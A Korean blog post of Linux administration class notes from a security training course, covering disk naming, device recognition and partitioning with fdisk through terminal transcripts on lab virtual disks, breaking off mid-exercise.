블로그 이미지
22Hz 22Hz

카테고리

분류 전체보기 (109)
모의해킹 침해대응 전문가 과정 (99)
리눅스 설정 (10)
Total
Today
Yesterday

달력

« » 2024.5
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

공지사항

태그목록

최근에 올라온 글

'모의해킹 침해대응 전문가 과정'에 해당되는 글 99건

  1. 2016.04.22 20160421 리눅스 관리자
  2. 2016.04.21 20160420 리눅스 관리자
  3. 2016.04.21 20160420 리눅스 기초
  4. 2016.04.20 20160419 리눅스 기초
  5. 2016.04.19 20160418 리눅스 기초
  6. 2016.04.15 20160415 리눅스 기초
  7. 2016.04.15 20160414 리눅스 기초
  8. 2016.04.13 20160412 리눅스 기초
  9. 2016.04.12 20160411 리눅스 기초

==================================메모==================================

반장 - hotdog8686@naver.com

정보보안기사 시험은 안에 나오는 단어를 이해해야한다 내용은 별거없다

#
# Specific Configuration
#
export PS1='[\u@\h \w]\$ '
alias ls='ls --color=tty -h'
alias pps='ps -ef | head -1 ; ps -ef | grep $1'
alias vi='/usr/bin/vim'
alias grep='grep -i --color'
alias a='cd /test && rm -rf /test/*'
alias b='cp /etc/passwd file1 ; cp file1 file2 ; cp file1 file3'
alias c='clear'
alias df='df -h -T' //오늘 추가했어

==================================복습==================================

1. 디렉토리 구조
 /, /home, /tmp, /bin, /sbin, /dev, /lib, /usr, /boot, /etc, /proc, /var

2. 장치 관리(EX: 디스크 장치 관리)
 (ㄱ) 장치 추가 & 장치 인식
 (ㄴ) 파티션 작업
 (ㄷ) 파일시스템 작업
 (ㄹ) 마운트

==================================강의==================================

2.1 장치 인식(Device Reconfiguration)

(선수지식) sector -> track -> cylinder -> partition -> disk
 디스크 이름 체계(EX: /dev/sda)
 - IDE : hda, hdb, hdc, hdd
 - SCSI : sda, sdb, sdc, sdd, ....
(장치인식)
 # chkconfig kudzu on
 # init 0 //Power OFF
 물리적인 디스크 추가
 Power ON
 # ls -l /dev/sd? (# fdisk -l)(# fdisk -l | grep Disk)

2.2 파티션 작업(Partition)

(선수지식)
 파티션 이름 체계(EX: /dev/sda1)
 - Primary Partition(1~4)
 - Extended Partition
  ㄴLogical Partition(5~#)
(파티션 작업)
 # fdisk /dev/sdb
 # fdisk -l /dev/sdb

2.3 파일 시스템 작업(Filesystem)

(선수지식)
 파일시스템?
 파일시스템의 종류
 - ext2, ext3, ext4, xfs
(파일시스템 작업)
 # mkfs -t ext3 /dev/sdb1 (# mkfs.ext3 /dev/sdb1)
 #dumpe2fs /dev/sdb1 (# tune2fs -l /dev/sdb1) //확인할때

 [참고] minfree 설명
 # mkfs.ext3 -m 5 /dev/sdb1
 # tune2fs -m 5 /dev/sdb1

2.4 마운트 작업(mount CMD, /etc/fstab)
 마운트 확인
  # df -k
  # mount
 마운트 관련 파일들
  /etc/mtab //현재 상태에서 마운트
  /etc/fstab //부팅시 마운트해야하는 정보를 담고있다 관리해야한다
 마운트 관련 명령어들

2.5 파일 시스템 점검 및 모니터링

 fsck CMD
  (주의) /home, /data1 -> umount CMD + fsck CMD
         /, /usr, /var, /tmp -> single user mode + fsck CMD
  # fsck /dev/sdb1
  # fsck -y /dev/sdb1

  [참고] fsck -y /dev/sdb1
  # script -a fsck.log
  # fsck -y /dev/sdb1
  # exit
  # cat fsck.log
 df/du CMD
  # df -k
  # du -sk /var
  # cd /var ; du -sk * | sort -nr | more
  # find / -size +300M -mtime -2 -type f

==================================실습==================================

(1) 물리적인 디스크 구조

▪ 스핀들(Spindle)   : 플래터를 돌러주는 축
▪ 플래터(Platters)  : 원판(플랫터), 데이터가 저장되는 공간
▪ 헤드(Heads)       : 데이터를 읽어들이는 부분
▪ 헤드 암(Head actuator arm) : 데이터를 읽어 들이는 팔

그림1

sector : 512bytes
track
cylinder
partition
disk

참고 http://atsequence.tistory.com/7


디스크 이름

IDE=ATA(옛날, 10년전, 15년전, 20년전에 쓰던 방식들)
보드에 있는 cpu가 디스크를 직접제어, 안정성이나 속도가 떨어짐
cpu i/o 속도가 disk i/o 속도보다 최소 1000배 빠르다 -> cpu가 대기상태에 빠진다 비효율적
7200rpm

SCSI(Small Computer System Interface)
스카시컨트롤러가 cpu의 명령을 받아 디스크를 제어
다중프로세스 실행에 유리, 안정성이 뛰어남, 성능이 좋아, 확장성도 좋아
많은 디스크를 연결
10000rpm
단점은 동일용량이면 가격이 10정도 차이가 난다 비싸..

참고 http://goodpc.tistory.com/23

S-ATA
성능이 다른 장치를 연결할때 느린 속도에 맞춰야만 하는 기존 방식을 개선, 디스크만 연결하게끔 만든 방식
컨트롤러가 디스크 속도에만 맞추면 된다

SA-SCSI, SAS
디스크만을 위한 컨트롤러가 있다 비싸다
15000rpm

참고 http://blog.naver.com/skyluvtoya/100120822628


IDE DISK
/dev/hda, /dev/hdb, /dev/hdc, /dev/hdd

SCSI DISK
/dev/sda, /dev/sdb, /dev/sdc, /dev/sdd, ...

파티션 이름
Primary Partition(1~4)
Extended Partition(5~15) : 프라이머리파티션 중 하나를 골라 익스텐디드파티션으로 바꿈
 ㄴLogical Partition

리눅스 최대 파티션 개수
IDE DISK : /dev/hda1 ~ 15
SCSI DISK : /dev/sda1 ~ 15

그림2


[EX1] 현재 운영체제 파티션 구성 정보 확인

■ 디스크의 종류: IDE(SATA), SCSI(SAS), SSD

SSD : 저전력, 고성능, 발열없음(팬이필요없음), 고온에서 작동안됨, 요즘은 SSD서버도 있음

         ---------------------+-----------------------
                IDE(SATA)     |       SCSI(SAS)
         ---------------------+-----------------------
안정성
성  능
확장성
가  격
         ---------------------+-----------------------

■ IDE   ---> /dev/hd  ----> /dev/hda, /dev/hdb, /dev/hdc, /dev/hdd
■ SCSI  ---> /dev/sd  ----> /dev/sda, /dev/sdb, /dev/sdc, ....

[root@linux220 ~]# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda1              36G  3.1G   31G  10% /
/dev/sda8             487M   11M  451M   3% /data1
/dev/sda7             487M   11M  451M   3% /data2
/dev/sda6             487M   11M  451M   3% /data3
/dev/sda5             487M   11M  451M   3% /data4
/dev/sda3             487M   11M  451M   3% /home
tmpfs                 506M     0  506M   0% /dev/shm
/dev/hdc              3.9G  3.9G     0 100% /media/CentOS_5.5_Final

프라이머리 : sda1,sda3
로지컬 : sda5, sda6, sda7, sda8

[root@linux220 ~]# cat /proc/swaps
Filename                                Type            Size    Used    Priority
/dev/sda2                               partition       1052248 0       -1

프라이머리 : sda2

[root@linux220 ~]# fdisk -l

Disk /dev/sda: 42.9 GB, 42949672960 bytes
255 heads, 63 sectors/track, 5221 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1        4770    38314993+  83  Linux
/dev/sda2            4771        4901     1052257+  82  Linux swap / Solaris
/dev/sda3            4902        4965      514080   83  Linux
/dev/sda4            4966        5221     2056320    5  Extended
/dev/sda5            4966        5029      514048+  83  Linux
/dev/sda6            5030        5093      514048+  83  Linux
/dev/sda7            5094        5157      514048+  83  Linux
/dev/sda8            5158        5221      514048+  83  Linux

익스텐디드 : sda4=sda5+sda6+sda7+sda8

참고 http://originweb.tistory.com/entry/PARTITION-LVM-RAID 그림이 재밌어서



장치 인식
(ㄱ) kudzu 서비스 on
# chkconfig kudzu on
# chkconfig --list kudzu

(ㄴ) 서버 전원 off
# init 0
# shutdown -h now
# poweroff
# halt

(ㄷ) 디스크 추가

(ㄹ) 서버 전원 on

(ㅁ) 부팅후 추가된 디스크 확인
# ls -l /dev/sd? (# ls -l /dev/hd?)
# fdisk -l


서버에서 핫스왑이 가능한 경우에는 외관만 봐도 알수있다
핫스왑이 지원되면 ㄴ, ㄷ, ㄹ 과정이 필요없다


1  장치 추가 후 인식 방법
리눅스 시스템에서 새로운 장치를 붙였다면 장치을 재인식(Device Reconfiguration) 시켜야 한다.
■ 새로운 디스크 추가 작업 절차
(ㄱ) kudzu 서비스 ON
     # chkconfig kudzu on
     # chkconfig —list kudzu
     [참고] 서버스 설정 툴             # ntsysv                 (# setup)
            # system-config-services (# serviceconf)
            # chkconfig --list
(ㄴ) 서버 전원 OFF
     # poweroff  (# init 0, # shutdown -h now, # halt)
(ㄷ) 새로운 디스크 장착      VMWare > VM > Setting > Add > "Hard Disk" > "Create a new virtual disk"
     > SCSI > 1G (1GB 용량의 DISK 2장을 추가한다.)
(ㄹ) 서버 전원 ON
(ㅁ) 부팅 후 추가된 디스크 확인      # ls –l /dev/sd?
     # fdisk -l (#fdisk -l | grep Disk)

[root@linux220 ~]# ls -l /dev/sd?
brw-r----- 1 root disk 8,  0  4월 21 17:40 /dev/sda
brw-r----- 1 root disk 8, 16  4월 21 17:40 /dev/sdb
brw-r----- 1 root disk 8, 32  4월 21 17:40 /dev/sdc
[root@linux220 ~]# fdisk -l

Disk /dev/sda: 42.9 GB, 42949672960 bytes
255 heads, 63 sectors/track, 5221 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1        4770    38314993+  83  Linux
/dev/sda2            4771        4901     1052257+  82  Linux swap / Solaris
/dev/sda3            4902        4965      514080   83  Linux
/dev/sda4            4966        5221     2056320    5  Extended
/dev/sda5            4966        5029      514048+  83  Linux
/dev/sda6            5030        5093      514048+  83  Linux
/dev/sda7            5094        5157      514048+  83  Linux
/dev/sda8            5158        5221      514048+  83  Linux

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

Disk /dev/sdb doesn't contain a valid partition table

Disk /dev/sdc: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

Disk /dev/sdc doesn't contain a valid partition table
[root@linux220 ~]# fdisk -l | grep Disk
Disk /dev/sdb doesn't contain a valid partition table
Disk /dev/sdc doesn't contain a valid partition table
Disk /dev/sda: 42.9 GB, 42949672960 bytes
Disk /dev/sdb: 1073 MB, 1073741824 bytes
Disk /dev/sdc: 1073 MB, 1073741824 bytes


sdb와 sdc가 추가된것을 확인할 수 있다 아직 파티션이 없음


■ 인식된 하드웨어 목록 확인   
하드웨어 정보 확인
(선수 작업)
# yum list | grep hal
# yum install hal-gnome.x86_64
(GUI) # hal-device-manager &
(TUI) # lshal

[root@linux220 ~]# yum list | grep hal
hal.i386                                 0.5.8.1-59.el5                installed
hal-cups-utils.i386                      0.6.2-5.2.el5                 installed
hal-gnome.i386                           0.5.8.1-59.el5                installed
fonts-sinhala.noarch                     0.2.2-1                       base    
hal.i386                                 0.5.8.1-64.el5                base    
hal-devel.i386                           0.5.8.1-64.el5                base    
hal-gnome.i386                           0.5.8.1-64.el5                base    
m17n-db-sinhala.noarch                   1.3.3-48.el5                  base    
scim-sinhala.i386                        0.2.0-2.fc6                   base    
[root@linux220 ~]# yum -y install hal-gnome
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
 * addons: centos.tt.co.kr
 * base: centos.tt.co.kr
 * extras: centos.tt.co.kr
 * updates: centos.mirror.cdnetworks.com
Setting up Install Process
Resolving Dependencies
--> Running transaction check
---> Package hal-gnome.i386 0:0.5.8.1-64.el5 set to be updated
--> Processing Dependency: hal = 0.5.8.1-64.el5 for package: hal-gnome
--> Running transaction check
---> Package hal.i386 0:0.5.8.1-64.el5 set to be updated
--> Finished Dependency Resolution

Dependencies Resolved

===============================================================================================================
 Package                    Arch                  Version                          Repository             Size
===============================================================================================================
Updating:
 hal-gnome                  i386                  0.5.8.1-64.el5                   base                  103 k
Updating for dependencies:
 hal                        i386                  0.5.8.1-64.el5                   base                  396 k

Transaction Summary
===============================================================================================================
Install       0 Package(s)
Upgrade       2 Package(s)

Total download size: 499 k
Downloading Packages:
(1/2): hal-gnome-0.5.8.1-64.el5.i386.rpm                                                | 103 kB     00:00    
(2/2): hal-0.5.8.1-64.el5.i386.rpm                                                      | 396 kB     00:00    
---------------------------------------------------------------------------------------------------------------
Total                                                                          3.5 MB/s | 499 kB     00:00    
Running rpm_check_debug
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
  Updating       : hal                                                                                     1/4
  Updating       : hal-gnome                                                                               2/4
  Cleanup        : hal                                                                                     3/4
  Cleanup        : hal-gnome                                                                               4/4

Updated:
  hal-gnome.i386 0:0.5.8.1-64.el5                                                                             

Dependency Updated:
  hal.i386 0:0.5.8.1-64.el5                                                                                   

Complete!



[root@linux220 /etc/rc.d]# ls
init.d  rc  rc.local  rc.sysinit  rc0.d  rc1.d  rc2.d  rc3.d  rc4.d  rc5.d  rc6.d
[root@linux220 /etc/rc.d]# who -r
         run-level 5  2016-04-21 17:41                   last=S
[root@linux220 /etc/rc.d]# cd rc5.d
[root@linux220 /etc/rc.d/rc5.d]# ls
K01dnsmasq         K30spamassassin    K89dund             S13irqbalance      S56cups
K02NetworkManager  K35dovecot         K89netplugd         S13portmap         S56rawdevices
K02avahi-dnsconfd  K35smb             K89pand             S14nfslock         S56xinetd
K02oddjobd         K35vncserver       K89rdisc            S15mdmonitor       S57vmware-tools-thinprint
K03yum-updatesd    K35winbind         K91capi             S18rpcidmapd       S80sendmail
K05conman          K50ibmasm          S02lvm2-monitor     S19rpcgssd         S85gpm
K05innd            K50netconsole      S03vmware-tools     S22messagebus      S90crond
K05saslauthd       K50tux             S04readahead_early  S23setroubleshoot  S90xfs
K05wdaemon         K50vsftpd          S05kudzu            S25bluetooth       S95anacron
K10dc_server       K69rpcsvcgssd      S08ip6tables        S25netfs           S95atd
K10psacct          K73ypbind          S08iptables         S25pcscd           S96readahead_later
K10tcsd            K74nscd            S08mcstrans         S26acpid           S98avahi-daemon
K12dc_client       K74ntpd            S09isdn             S26apmd            S99firstboot
K15httpd           K80kdump           S10network          S26haldaemon       S99local
K20nfs             K85mdmpd           S11auditd           S26hidd            S99smartd
K20rwhod           K87multipathd      S12restorecond      S28autofs
K24irda            K87named           S12syslog           S50hplip
K25squid           K88wpa_supplicant  S13cpuspeed         S55sshd
[root@linux220 /etc/rc.d/rc5.d]# ls *kudzu*
S05kudzu
[root@linux220 /etc/rc.d/rc5.d]# ntsysv  //kudzu 체크 해제
[root@linux220 /etc/rc.d/rc5.d]# ls *kudzu*
K95kudzu
[root@linux220 /etc/rc.d/rc5.d]# chkconfig kudzu on
[root@linux220 /etc/rc.d/rc5.d]# ls *kudzu*
S05kudzu



파티션 작업

(주의) fdisk 명령어는 2TB 이상의 디스크에서 파티션 설정을 할 수 없다.
따라서 이런 경우에는 parted 명령어를 사용하여 파티션 설정을 해야 한다.
현재 2TB 파티션 용량을 해결 하기 위해서 PC-BIOS 파티션 테이블을 GTP(GUID 파티션 테이블)로 대체 되었다.
fdisk 명령어는 GTP 파티션을 지원하지 않는다. 따라서 이런 경우 반드시 parted 명령어를 사용해야 한다.


fdisk 명령어를 통한 디스크 파티션 구성

(명령어 형식)
# fdisk -l         (# fdisk -l | grep Disk)
# fdisk –l /dev/sda
# fdisk /dev/sda

[EX] 파티션 정보 확인
# fdisk –l /dev/sda

[root@linux220 ~]# fdisk -l /dev/sda

Disk /dev/sda: 42.9 GB, 42949672960 bytes
255 heads, 63 sectors/track, 5221 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1        4770    38314993+  83  Linux
/dev/sda2            4771        4901     1052257+  82  Linux swap / Solaris
/dev/sda3            4902        4965      514080   83  Linux
/dev/sda4            4966        5221     2056320    5  Extended
/dev/sda5            4966        5029      514048+  83  Linux
/dev/sda6            5030        5093      514048+  83  Linux
/dev/sda7            5094        5157      514048+  83  Linux
/dev/sda8            5158        5221      514048+  83  Linux
[root@linux220 ~]# fdisk -l

Disk /dev/sda: 42.9 GB, 42949672960 bytes
255 heads, 63 sectors/track, 5221 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1        4770    38314993+  83  Linux
/dev/sda2            4771        4901     1052257+  82  Linux swap / Solaris
/dev/sda3            4902        4965      514080   83  Linux
/dev/sda4            4966        5221     2056320    5  Extended
/dev/sda5            4966        5029      514048+  83  Linux
/dev/sda6            5030        5093      514048+  83  Linux
/dev/sda7            5094        5157      514048+  83  Linux
/dev/sda8            5158        5221      514048+  83  Linux

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

Disk /dev/sdb doesn't contain a valid partition table

Disk /dev/sdc: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

Disk /dev/sdc doesn't contain a valid partition table
[root@linux220 ~]# fdisk -s /dev/sda1 (# fdisk -l /dev/sda | grep sda1)
38314993
[root@linux220 ~]# fdisk -s /dev/sda3 (# fdisk -l /dev/sda | grep sda3)
514080


[EX2] 파티션 작업
# fdisk /dev/sdb


[root@linux220 ~]# fdisk /dev/sdb
Device contains neither a valid DOS partition table, nor Sun, SGI or OSF disklabel
Building a new DOS disklabel. Changes will remain in memory only,
until you decide to write them. After that, of course, the previous
content won't be recoverable.

Warning: invalid flag 0x0000 of partition table 4 will be corrected by w(rite)

Command (m for help): m
Command action
   a   toggle a bootable flag
   b   edit bsd disklabel
   c   toggle the dos compatibility flag
   d   delete a partition
   l   list known partition types
   m   print this menu
   n   add a new partition
   o   create a new empty DOS partition table
   p   print the partition table
   q   quit without saving changes
   s   create a new empty Sun disklabel
   t   change a partition's system id
   u   change display/entry units
   v   verify the partition table
   w   write table to disk and exit
   x   extra functionality (experts only)

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-130, default 1):
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-130, default 130): +200M

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1          25      200781   83  Linux

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.
[root@linux220 ~]# ls -l /dev/sdb*
brw-r----- 1 root disk 8, 16  4월 21 18:01 /dev/sdb
brw-r----- 1 root disk 8, 17  4월 21 18:01 /dev/sdb1
[root@linux220 ~]# fdisk -l /dev/sdb

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1          25      200781   83  Linux


[EX3] 파티션 생성 2

[root@linux220 ~]# fdisk /dev/sdb

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1          25      200781   83  Linux

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
e
Partition number (1-4): 2
First cylinder (26-130, default 26):
Using default value 26
Last cylinder or +size or +sizeM or +sizeK (26-130, default 130): +100M

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1          25      200781   83  Linux
/dev/sdb2              26          38      104422+   5  Extended

Command (m for help): n
Command action
   l   logical (5 or over)
   p   primary partition (1-4)
l
First cylinder (26-38, default 26):
Using default value 26
Last cylinder or +size or +sizeM or +sizeK (26-38, default 38):
Using default value 38

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1          25      200781   83  Linux
/dev/sdb2              26          38      104422+   5  Extended
/dev/sdb5              26          38      104391   83  Linux

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.


[EX4] 파티션 삭제

[root@linux220 ~]# fdisk /dev/sdb

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1          25      200781   83  Linux
/dev/sdb2              26          38      104422+   5  Extended
/dev/sdb5              26          38      104391   83  Linux

Command (m for help): d
Partition number (1-5): 5

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1          25      200781   83  Linux
/dev/sdb2              26          38      104422+   5  Extended

Command (m for help): d
Partition number (1-5): 2

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1          25      200781   83  Linux

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.


(추가적인 실습) fdisk 명령어를 통한 파티션 작업

그림4

[실습1]

[root@linux220 ~]# fdisk /dev/sdb

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1          25      200781   83  Linux

Command (m for help): d
Selected partition 1

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-130, default 1):
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-130, default 130): +200M

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 2
First cylinder (26-130, default 26):
Using default value 26
Last cylinder or +size or +sizeM or +sizeK (26-130, default 130): +200M

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 3
First cylinder (51-130, default 51):
Using default value 51
Last cylinder or +size or +sizeM or +sizeK (51-130, default 130): +200M

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Selected partition 4
First cylinder (76-130, default 76):
Using default value 76
Last cylinder or +size or +sizeM or +sizeK (76-130, default 130):
Using default value 130

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1          25      200781   83  Linux
/dev/sdb2              26          50      200812+  83  Linux
/dev/sdb3              51          75      200812+  83  Linux
/dev/sdb4              76         130      441787+  83  Linux

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.
[root@linux220 ~]# fdisk -l

Disk /dev/sda: 42.9 GB, 42949672960 bytes
255 heads, 63 sectors/track, 5221 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1        4770    38314993+  83  Linux
/dev/sda2            4771        4901     1052257+  82  Linux swap / Solaris
/dev/sda3            4902        4965      514080   83  Linux
/dev/sda4            4966        5221     2056320    5  Extended
/dev/sda5            4966        5029      514048+  83  Linux
/dev/sda6            5030        5093      514048+  83  Linux
/dev/sda7            5094        5157      514048+  83  Linux
/dev/sda8            5158        5221      514048+  83  Linux

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1          25      200781   83  Linux
/dev/sdb2              26          50      200812+  83  Linux
/dev/sdb3              51          75      200812+  83  Linux
/dev/sdb4              76         130      441787+  83  Linux

Disk /dev/sdc: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

Disk /dev/sdc doesn't contain a valid partition table


[실습2]

[root@linux220 ~]# fdisk /dev/sdb

Command (m for help): d
Partition number (1-4): 1

Command (m for help): d
Partition number (1-4): 2

Command (m for help): d
Partition number (1-4): 3

Command (m for help): d
Selected partition 4

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-130, default 1):
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-130, default 130): +200M

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 2
First cylinder (26-130, default 26):
Using default value 26
Last cylinder or +size or +sizeM or +sizeK (26-130, default 130): +200M

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
e
Partition number (1-4): 3
First cylinder (51-130, default 51):
Using default value 51
Last cylinder or +size or +sizeM or +sizeK (51-130, default 130):
Using default value 130

Command (m for help): n
Command action
   l   logical (5 or over)
   p   primary partition (1-4)
l
First cylinder (51-130, default 51):
Using default value 51
Last cylinder or +size or +sizeM or +sizeK (51-130, default 130): +200M

Command (m for help): n
Command action
   l   logical (5 or over)
   p   primary partition (1-4)
l
First cylinder (76-130, default 76):     
Using default value 76
Last cylinder or +size or +sizeM or +sizeK (76-130, default 130): +200M

Command (m for help): n
Command action
   l   logical (5 or over)
   p   primary partition (1-4)
l
First cylinder (101-130, default 101):
Using default value 101
Last cylinder or +size or +sizeM or +sizeK (101-130, default 130):
Using default value 130

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1          25      200781   83  Linux
/dev/sdb2              26          50      200812+  83  Linux
/dev/sdb3              51         130      642600    5  Extended
/dev/sdb5              51          75      200781   83  Linux
/dev/sdb6              76         100      200781   83  Linux
/dev/sdb7             101         130      240943+  83  Linux

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.


[실습3]

[root@linux220 ~]# fdisk /dev/sdb

Command (m for help): m
Command action
   a   toggle a bootable flag
   b   edit bsd disklabel
   c   toggle the dos compatibility flag
   d   delete a partition
   l   list known partition types
   m   print this menu
   n   add a new partition
   o   create a new empty DOS partition table
   p   print the partition table
   q   quit without saving changes
   s   create a new empty Sun disklabel
   t   change a partition's system id
   u   change display/entry units
   v   verify the partition table
   w   write table to disk and exit
   x   extra functionality (experts only)

Command (m for help): d
Partition number (1-7): 7

Command (m for help): d
Partition number (1-6): 6

Command (m for help): d
Partition number (1-5): 5

Command (m for help): d
Partition number (1-5): 4
Warning: partition 4 has empty type

Command (m for help): d
Partition number (1-5): 3

Command (m for help): d
Partition number (1-4): 2

Command (m for help): d
Selected partition 1

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
e
Partition number (1-4): 1
First cylinder (1-130, default 1):
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-130, default 130):
Using default value 130

Command (m for help): n
Command action
   l   logical (5 or over)
   p   primary partition (1-4)
l
First cylinder (1-130, default 1):
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-130, default 130): +200M

Command (m for help): n
Command action
   l   logical (5 or over)
   p   primary partition (1-4)
l
First cylinder (26-130, default 26):
Using default value 26
Last cylinder or +size or +sizeM or +sizeK (26-130, default 130): +200M

Command (m for help): n
Command action
   l   logical (5 or over)
   p   primary partition (1-4)
l
First cylinder (51-130, default 51):
Using default value 51
Last cylinder or +size or +sizeM or +sizeK (51-130, default 130): +200M

Command (m for help): n
Command action
   l   logical (5 or over)
   p   primary partition (1-4)
l
First cylinder (76-130, default 76):
Using default value 76
Last cylinder or +size or +sizeM or +sizeK (76-130, default 130):
Using default value 130

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1         130     1044193+   5  Extended
/dev/sdb5               1          25      200749+  83  Linux
/dev/sdb6              26          50      200781   83  Linux
/dev/sdb7              51          75      200781   83  Linux
/dev/sdb8              76         130      441756   83  Linux

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.


[실습4]

[root@linux220 ~]# fdisk /dev/sdb

Command (m for help): d
Partition number (1-8): 1

Command (m for help): d
No partition is defined yet!

Command (m for help): p

Disk /dev/sdb: 1073 MB, 1073741824 bytes
255 heads, 63 sectors/track, 130 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System

Command (m for help): n
Command action
